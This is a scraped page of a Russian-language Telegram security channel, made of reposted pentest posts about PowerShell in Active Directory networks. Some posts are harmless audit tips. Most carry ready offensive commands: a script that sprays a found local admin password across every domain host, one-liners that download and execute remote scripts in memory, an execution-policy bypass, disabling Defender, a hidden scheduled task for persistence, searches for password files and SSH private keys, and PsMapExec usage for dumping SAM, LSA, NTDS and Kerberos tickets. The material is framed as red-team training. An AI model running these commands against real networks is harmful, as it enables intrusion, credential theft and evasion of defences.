Fsecurity | HH
2.06K subscribers
1.74K photos
105 videos
62 files
6.2K links
Канал про ИБ
Наш Discord: https://discord.gg/Eg8aDS7Hn7
Пожертвовать:
> https://www.donationalerts.com/r/xackapb
Download Telegram
Forwarded from Pentest HaT (Андрей (Exited3n))
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from CyberSecrets
Дата и время выполнения команд в Powershell

Последнее время стал замечать, что заказчики на внутренних пентестах просят предоставлять дату и время выполнения действий. Давно я уже писал как можно добавить в консоль отображение даты и времени, а также использование Powershell Transcript. Сейчас хочу поделиться еще полезной функцией Powershell.

В Powershell есть функция чтения истории выполнения команд Get-History. Если выполнить эту команду, то будет предоставлен перечень выполненных команд, однако если изменить формат отображения в виде списка, то кроме команды можно получить статус, время начала выполнения команды и ее завершения.

Get-History|fl


Данные можно экспортировать в формат CSV и затем импортировать в Excel.

Get-History|Export-Csv -Path history.csv


При использовании этого метода стоит знать, что при закрытии консоли данные о дате и времени пропадают, поэтому, если необходимо собирать такую информации, делать это лучше в конце рабочего дня. И второе, каждая открытая консоль собирает дату и время только для нее. Хотя история самих команд для всех собирается в отдельном файле и прочитать его можно следующим образом, но уже без времени:

Get-Content (Get-PSReadlineOption).HistorySavePath


Так как данные возвращаются в виде PSObject, можно выполнять различные операции для фильтрации вывода. Например, можно ограничить вывод только за определенный период:

Get-History |where {$_.StartExecutionTime -ge $(get-date("12.05.2024 10:00:00")) -and $_.StartExecutionTime -le $(get-date("12.06.2024 18:00:00"))}|fl


Важно помнить, что формат времени в русской и в английской версиях Windows разный. В русской идут день-месяц-год, а в английской месяц-день-год. Поэтому будьте внимательны!

#Powershell #Внутрянка
Forwarded from CyberSecrets
Проверка локальных учетных записей
Представим себе ситуацию, когда во время выполнения проекта мы обнаружили пароль от локального администратора, например, в групповых политиках, или от другой локальной учетной записи. Нам необходимо проверить на каких хостах эта учетная запись есть и валидна. Если под рукой есть «nxc», то проблем нет, а если нет? Можно воспользоваться PowerShell и написать небольшой скрипт для проверки локальной учетной записи.

Скрипт будет запрашивать в домене все активные хосты с операционной системой Windows и выполнять проверку локальной учетной записи. Метод, используемый в данном скрипте для новых версий Windows, основан на обработке ошибки, это связанно с механизмами безопасности внедренных в операционную систему. Ошибки, возникающие при правильном и неправильном пароле, разные. И на основании этого мы можем делать предположение когда пароль является верным. а когда нет.

function Check-LocalCredential{
[CmdletBinding()]
Param (
[Parameter(Mandatory)]
[string]
$UserName,

[Parameter(Mandatory)]
[string]
$Password
)

# Подключаем библиотеку для работы с учетными записями
Add-Type -AssemblyName System.DirectoryServices.AccountManagement -ErrorAction Stop

# В качестве контекста используем машину
$ContextType = [DirectoryServices.AccountManagement.ContextType]::Machine

$searcher = [adsisearcher]'(&(objectCategory=computer)(operatingsystem=*windows*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
$searcher.PageSize = 1000
$comps=$searcher.FindAll()

foreach($comp in $comps)
{
$ComputerName = $comp.Properties.dnshostname.Item(0)

try
{
$PrincipalContext = [System.DirectoryServices.AccountManagement.PrincipalContext]::new($ContextType, $ComputerName)
# Проверям учетные данные
if($PrincipalContext.ValidateCredentials($UserName,$Password))
{
Write-Host -ForegroundColor Green "[+] User $UserName has password $Password on computer $ComputerName"
}
}
catch [UnauthorizedAccessException]
{
Write-Host -ForegroundColor Yellow "[*] User $UserName has password $Password on computer $ComputerName"
continue
}
catch
{
#Write-host -ForegroundColor Red "[!] Error $_.Exception.Message "
continue
}
}
}


Запускаем

Check-LocalCredential -Username Administrator -Password Qwerty123 


Зеленый цвет вывода так же покажет, что учетная запись, от имени которой запускается скрипт, является локальным администратором на проверяемом хосте, желтый - пароль для локальной учетной записи верный.

Стоит помнить, что скрипт проверяет валидность учетных данных, но не показывает членство в группе локальных администраторов.


#Powershell #Внутрянка
🔥2
Forwarded from Whitehat Lab
🏃 Powershell Tips & Tricks

Для выполнения некоторых командлетов необходим импортированный AD модуль

🖥 ADModule

Подключаем:

Import-Module C:\Microsoft.ActiveDirectory.Management.dll -Verbose
iex (new-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1');Import-ActiveDirectory

или
Import-Module C:\Microsoft.ActiveDirectory.Management.dll -Verbose
Import-Module C:\ActiveDirectory\ActiveDirectory.psd1
Get-Command -Module ActiveDirectory


Информация о системе
:

Get-WmiObject -Class Win32_OperatingSystem | Select-Object -Property *


Список процессов:

Get-Process | Select-Object -Property ProcessName, Id, CPU | Sort-Object -Property CPU -Descending


FailureAudit в логах:

Get-EventLog -LogName Security | Where-Object {$_.EntryType -eq 'FailureAudit'}


Сканер портов:

1..1024 | ForEach-Object { $sock = New-Object System.Net.Sockets.TcpClient; $async = $sock.BeginConnect('localhost', $_, $null, $null); $wait = $async.AsyncWaitHandle.WaitOne(100, $false); if($sock.Connected) { $_ } ; $sock.Close() }


Выполнить команду на удаленном ПК:

Invoke-Command -ComputerName TargetPC -ScriptBlock { Get-Process } -Credential (Get-Credential)


Скачать и выполнить скрипт:

$url = 'http://example.com/script.ps1'; Invoke-Expression (New-Object Net.WebClient).DownloadString($url)


Execution policy bypass:

Set-ExecutionPolicy Bypass -Scope Process -Force; .\script.ps1


Список доменных юзеров:

# Нужен AD модуль
Get-ADUser -Filter * -Properties * | Select-Object -Property Name, Enabled, LastLogonDate


Список залогиненых юзеров:

Get-WMIObject -Class Win32_ComputerSystem -Computer "HOST01" | Select-Object Username


Давно не логинились, но УЗ включена:

# Нужен AD модуль
Get-ADuser -filter {enabled -eq "True"} -properties LastlogonDate | ? {$_.lastlogondate -le (get-date).adddays(-90)} | ft Name


Прибить процесс:

Get-Process -Name "Notepad" | Stop-Process -Force


Список установленного ПО:

Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, Publisher, InstallDate


Мониторинг изменений ФС
:

$watcher = New-Object System.IO.FileSystemWatcher; $watcher.Path = 'C:\'; $watcher.IncludeSubdirectories = $true; $watcher.EnableRaisingEvents = $true; Register-ObjectEvent $watcher 'Created' -Action { Write-Host 'File Created: ' $Event.SourceEventArgs.FullPath }


Отключаем Defender:

Set-MpPreference -SubmitSamplesConsent NeverSend
Set-MpPreference -MAPSReporting Disabled
Set-MpPreference -DisableRealtimeMonitoring $true


Задание в планировщик для закрепа:

$action = New-ScheduledTaskAction -Execute 'Powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -Command "YourCommand"'; $trigger = New-ScheduledTaskTrigger -AtStartup; Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'MyTask' -Description 'MyDescription'


Поиск паролей в текстовых файлах:

Select-String -Path C:\Users\*\Documents\*.txt -Pattern 'password' -CaseSensitive


Собираем SSH ключи:

Get-ChildItem -Path C:\Users\*\.ssh\id_rsa -Recurse


Продолжение следует

#powershell #windows

✈️ Whitehat Lab
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
💻 Living off the Foreign Land Cmdlets and Binaries

Неплохая шпаргалка по бинарным файлам, 💻Powershell командлетам и mmc оснасткам

😉 LOFLCAB
😹 Home

#windows #redteam #powershell #mmc

✈️ Whitehat Lab
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
🔄 💻 PsMapExec v0.7.5

Отличный инструмент для пост эксплуатации в 💻 Active Directory, написанный на PowerShell.

UPD. Начиная с версии 0.6.0, PsMapExec больше не имеет каких-либо внешних зависимостей, кроме модуля Amnesiac.
PsMapExec теперь можно запускать в ограниченных средах, таких как экзаменационные лаборатории или машины CTF

Текущая поддержка методов (протоколов):

🔵RDP
🔵SessionHunter
🔵SMB
🔵SMB Signing
🔵Spraying
🔵VNC
🔵WinRM
🔵WMI
🔵MSSQL
🔵Kerberoast


Реализованные модули:

🔵 Amnesiac - выполнение Amnesiac C2 пейлоадов
🔵 ConsoleHistory - история в PowerShell
🔵 Files - файлы в типичных директориях
🔵 KerbDump - дамп Kerberos билетов
🔵 eKeys - дамп ключей (Mimikatz)
🔵 LogonPasswords - дамп logon passwords (Mimikatz)
🔵 LSA - дамп LSA (Mimikatz)
🔵 NTDS - реализация DCsync
🔵 SAM - дамп SAM


Запуск из памяти:

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1");IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")


Примеры:

# Текущий пользователь
PsMapExec -Targets All -Method [Method]

# С паролем
PsMapExec -Targets All -Method [Method] -Username [Username] -Password [Password]

# С хешем
PsMapExec -Targets All -Method [Method] -Username [Username] -Hash [RC4/AES256]

# С билетом
PsMapExec -Targets All -Method [Method] -Ticket [doI.. OR Path to ticket file]

# Дамп SAM файла
PsMapExec -Targets DC.domain.local -Method SMB -Ticket [Base64-Ticket] -Module SAM

# Kerberoasting
PsMapExec -Method Kerberoast -ShowOutput

# Использование модулей
PsMapExec -Targets All -Method [Method] -Module [Module]


😹 Github
📔 Documentation

#soft #pentest #powershell #psmapexec #redteam #windows

✈️ Whitehat Lab
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
💻 ADACLScanner v8.0

Инструмент для аудита разрешений в 💻 Active Directory, которые предоставлены через списки управления
доступом (ACL – Access Control List)

Написан на 💻 PowerShell

SACL - список используемый для аудита доступа к данному объекту.
DACL - список указывающий права пользователей и групп на действия с данным объектом.

Разрешения, которые нам интересны 👍:

GenericAll - полные права на объект
GenericWrite - редактировать атрибуты объекта
WriteOwner - изменить владельца объекта
WriteDACL - редактировать ACE объекта
AllExtendedRights - расширенные права на объект
ForceChangePassword - сменить пароль объекта
Self - возможность добавить себя в группу


Работает в GUI или консольном режимах:

Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/canix1/ADACLScanner/refs/heads/master/ADACLScan.ps1' -OutFile ADACLScan.ps1

.\ADACLScan.ps1

.\ADACLScan.ps1 -Base (Get-ADRootDSE).defaultNamingContext -Owner -Scope subtree -Filter '(objectClass=*)' | Where-Object {$_.Access -eq 'Owner'}


Экспорт в xls, csv, html
Большое количество возможностей

💻 Home
😉 Active Directory ACL investigation
😉 Take Control Over AD Permissions

#adaclscanner #powershell #redteam #soft

✈️ Whitehat Lab
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
🔄💻 ADACLScanner v8.2

Инструмент для аудита разрешений в 💻 Active Directory, которые предоставлены через списки управления
доступом (ACL – Access Control List)

UPD
Added info for Windows 2022 and Windows 2025
Added Exchange Schema version 'Exchange Server 2019 CU10


Написан на 💻 PowerShell

SACL - список используемый для аудита доступа к данному объекту.
DACL - список указывающий права пользователей и групп на действия с данным объектом.

Разрешения, которые нам интересны 👍:

GenericAll - полные права на объект
GenericWrite - редактировать атрибуты объекта
WriteOwner - изменить владельца объекта
WriteDACL - редактировать ACE объекта
AllExtendedRights - расширенные права на объект
ForceChangePassword - сменить пароль объекта
Self - возможность добавить себя в группу


Работает в GUI или консольном режимах:

Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/canix1/ADACLScanner/refs/heads/master/ADACLScan.ps1' -OutFile ADACLScan.ps1

.\ADACLScan.ps1

.\ADACLScan.ps1 -Base (Get-ADRootDSE).defaultNamingContext -Owner -Scope subtree -Filter '(objectClass=*)' | Where-Object {$_.Access -eq 'Owner'}


Экспорт в xls, csv, html
Большое количество возможностей

💻 Home
😉 Active Directory ACL investigation
😉 Take Control Over AD Permissions

#adaclscanner #powershell #redteam #soft

✈️ Whitehat Lab 💬 Chat
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from CyberSecrets
This media is not supported in your browser
VIEW IN TELEGRAM
BloodHound Legacy и HoundLoader (demo)

В своей работе я использую BloodHound Legacy. Для меня этот инструмент очень удобный и понятный. Так же у меня есть возможность менять его под свои желания. С выходом BloodHound CE поддержка BloodHound Legacy была остановлена. И тут самой большой проблемой стала возможность загружать данные из SharpHound новой версии (частично изменился формат JSON файлов).

В принципе, мне достаточно старой версией SharpHound для сбора основной информации об инфраструктуре Active Directory, а остальные данные при необходимости загружаю с помощью скриптов. Сейчас новая версия SharpHound собирает большое количество полезной информации, и я уже начал задумываться о переходе на BloodHound CE. Попробовав его пару раз, пришел к выводу, что мне неудобно в нем работать. При всей красоте построения графов и наличия нормальной строки для Cypher запросов остальное вызывает у меня отторжение, возможно, дело привычки.

Год назад мне пришла мысль, а что, если загружать данные в BloodHound CE потом делать резервную копию базы данных и переносить ее в BloodHound Legacy. Метод, надо признать, не самый лучший, но вариант рабочий. Однако, данные резервной копии будут содержать узлы и связи, которые BloodHound Legacy не умеет отображать, но добавить их в код не большая проблема. (Тут должна была быть реклама =))

Месяц назад мои коллеги из отдела разработки (Аркадий, привет!) для своих нужд выдернули из исходников BloodHound CE функции парсера и загрузчика данных SharpHound и собрали приложение, которое получило название HoundLoader. Приложение показало хорошие результаты, но опять не без косяков.
Постоянно просить разработчиков что-то добавлять или менять мне не хотелось, а go я не знаю. Поэтому я решил погрузиться в исходные коды BloodHound Legacy, чтобы понять, как он добавляет данные в neo4j.

Никогда не понимал, зачем собирать данные в JSON чтобы потом их парсить в Cypher и уже загружать данные в базу. Почему сразу не сохранять данные в виде Cypher запросов? Но надо признать, алгоритм достаточно простой и тут возник вопрос обновлять JS в BloodHound Legacy или сделать все с нуля. Читать и изменять чужой код занятие непростое, поэтому я принял решение написать HoundLoader на PowerShell.

Данные нормально, загружаются в базу, но еще не тестировались на больших инфраструктурах. И есть большая задача по установке связей между объектами после загрузки данных.

Пока моя версия BloodHound Legacy и HoundLoader находятся на стадии тестирования и доработки, но надеюсь осенью поделиться своими наработками с сообществом.

#BloodHound #Powershell
Forwarded from Whitehat Lab
💻 Windows Post-Exploitation Without Tools

Пост эксплуатация Windows без использования сторонних инструментов, в основном там 💻 PowerShell, WMI и стандартные инструменты ОС, рекомендую ⭐️

Understanding Living Off the Land

The term comes from the military concept of living off the land during operations - using local resources instead of bringing your own supplies. In cybersecurity, it refers to using built-in system tools and legitimate executables for malicious purposes. These binaries are often called LOLBins (Living Off the Land Binaries) or LOLBAs (Living Off the Land Binaries and Scripts


🔗 Research (eng.)

#redteam #windows #lolbins #powershell #wmi

✈️ Whitehat Lab 💬Chat
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
⚙️ CVE-2025-54100

Забавная уязвимость 😭👍

The issue lies in UseBasicParsing of Invoke-WebRequest cmdlet of Powershell. UseBasicParsing uses basic parsing, it does not evaluate any javascript code. It just reads the text and parses it

If this parameter is not provided, Invoke-WebRequest launches the Internet Explorer underneath and tries to parse the html code by actually evaluating it, using mshtml.HTMLDocumentClass


Забрал отсюда

💻 Proof of concept

#powershell #windows #cve

✈️ Whitehat Lab 💬Chat
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
📔 ruDocs (ранее PS-Commands)

Нашел крайне полезный, так еще и русскоязычный репозиторий

Большая база заметок по синтаксису PowerShell, командам Linux и инструментам DevOps на русском языке, собранная на пути от системного администратора Windows систем до DevOps инженера
Репозиторий содержит набор PowerShell и Bash скриптов, а также коллекцию стеков Docker Compose и манифестов Kubernetes, которые поддерживаются в актуальном состояние и эксплуатируется в домашней лаборатории


😹 Repo
😹 PowerShell
😹 Linux
😹 DevOps
🔗 Web

#linux #powershell #devops #docker #k8s

✈️ Whitehat Lab 💬Chat
Please open Telegram to view this post
VIEW IN TELEGRAM